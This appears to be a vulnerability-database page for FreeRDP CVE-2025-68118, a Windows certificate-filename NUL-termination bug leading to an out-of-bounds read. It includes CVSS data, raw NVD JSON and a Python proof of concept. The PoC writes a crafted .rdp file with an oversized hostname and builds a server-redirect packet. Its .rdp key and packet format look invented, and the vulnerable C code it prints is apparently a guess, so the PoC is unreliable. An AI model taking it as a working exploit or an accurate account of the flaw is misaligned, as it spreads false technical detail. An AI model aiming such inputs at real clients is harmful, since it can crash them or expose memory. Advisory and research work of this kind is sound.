Security Vulnerability Report
中文
CVE-2025-68118 CVSS 9.1 CRITICAL

CVE-2025-68118

Published: 2025-12-17 22:16:02
Last Modified: 2026-01-02 16:41:24

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.20.0, a vulnerability exists in FreeRDP’s certificate handling code on Windows platforms. The function `freerdp_certificate_data_hash_ uses` the Microsoft-specific `_snprintf` function to format certificate cache filenames without guaranteeing NUL termination when truncation occurs. According to Microsoft documentation, `_snprintf` does not append a terminating NUL byte if the formatted output exceeds the destination buffer size. If an attacker controls the hostname value (for example via server redirection or a crafted .rdp file), the resulting filename buffer may not be NUL-terminated. Subsequent string operations performed on this buffer may read beyond the allocated memory region, resulting in a heap-based out-of-bounds read. In default configurations, the connection is typically terminated before sensitive data can be meaningfully exposed, but unintended memory read or a client crash may still occur under certain conditions. Version 3.20.0 has a patch for the issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68118 PoC - FreeRDP Certificate Handling Buffer Overflow # This PoC demonstrates the vulnerability in certificate filename generation import struct import os def create_malicious_rdp_file(): """ Create a malicious .rdp file with oversized hostname to trigger the NUL termination issue in certificate cache filename """ # The vulnerability occurs when hostname exceeds buffer size # _snprintf does not NUL-terminate when truncation occurs oversized_hostname = "A" * 512 # Exceeds typical buffer size rdp_content = f"""screen mode id:i:2 use multimon:i:0 desktopwidth:i:1920 desktopheight:i:1080 session bpp:i:32 compression:i:1 ip:vuln_server_{oversized_hostname}.example.com username:s:testuser """ with open("malicious.rdp", "w") as f: f.write(rdp_content) print(f"Created malicious.rdp with oversized hostname ({len(oversized_hostname)} chars)") return "malicious.rdp" def generate_server_redirect_payload(): """ Simulate a malicious RDP server redirect with long hostname This triggers the certificate filename generation vulnerability """ # RDP Server Redirection Packet with malicious hostname redirect_hostname = "B" * 600 # T.123 connection redirect packet structure packet = struct.pack('!I', 0x13) # Packet type: redirect packet += struct.pack('!I', len(redirect_hostname) + 100) packet += redirect_hostname.encode('utf-16-le') print(f"Generated server redirect payload with hostname length: {len(redirect_hostname)}") return packet def demonstrate_vulnerability(): """ Demonstrates the vulnerable code path in freerdp_certificate_data_hash_uses """ print("=== CVE-2025-68118 Vulnerability Demonstration ===") print("\nVulnerable code pattern:") print(""" // Vulnerable code in freerdp_certificate_data_hash_uses char filename[256]; _snprintf(filename, sizeof(filename), "cert_%s.cache", hostname); // BUG: When hostname is too long, filename is NOT NUL-terminated // Subsequent strlen() or strcpy() will read beyond buffer // Example attack vectors: // 1. Malicious .rdp file with long hostname // 2. RDP server redirection with crafted hostname """) # Create the PoC files create_malicious_rdp_file() generate_server_redirect_payload() print("\n=== Mitigation ===") print("Upgrade to FreeRDP >= 3.20.0") print("Apply official patch from: https://github.com/FreeRDP/FreeRDP/commit/a0b21f992a9de1de2468fc9e600aa2b7a4066307") if __name__ == "__main__": demonstrate_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68118", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:01.557", "lastModified": "2026-01-02T16:41:23.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.20.0, a vulnerability exists in FreeRDP’s certificate handling code on Windows platforms. The function `freerdp_certificate_data_hash_ uses` the Microsoft-specific `_snprintf` function to format certificate cache filenames without guaranteeing NUL termination when truncation occurs. According to Microsoft documentation, `_snprintf` does not append a terminating NUL byte if the formatted output exceeds the destination buffer size. If an attacker controls the hostname value (for example via server redirection or a crafted .rdp file), the resulting filename buffer may not be NUL-terminated. Subsequent string operations performed on this buffer may read beyond the allocated memory region, resulting in a heap-based out-of-bounds read. In default configurations, the connection is typically terminated before sensitive data can be meaningfully exposed, but unintended memory read or a client crash may still occur under certain conditions. Version 3.20.0 has a patch for the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.0", "matchCriteriaId": "FCA10BF7-34B5-47E7-8BF4-B186C5FD8091"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/a0b21f992a9de1de2468fc9e600aa2b7a4066307", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h78c-5cjx-jw6x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}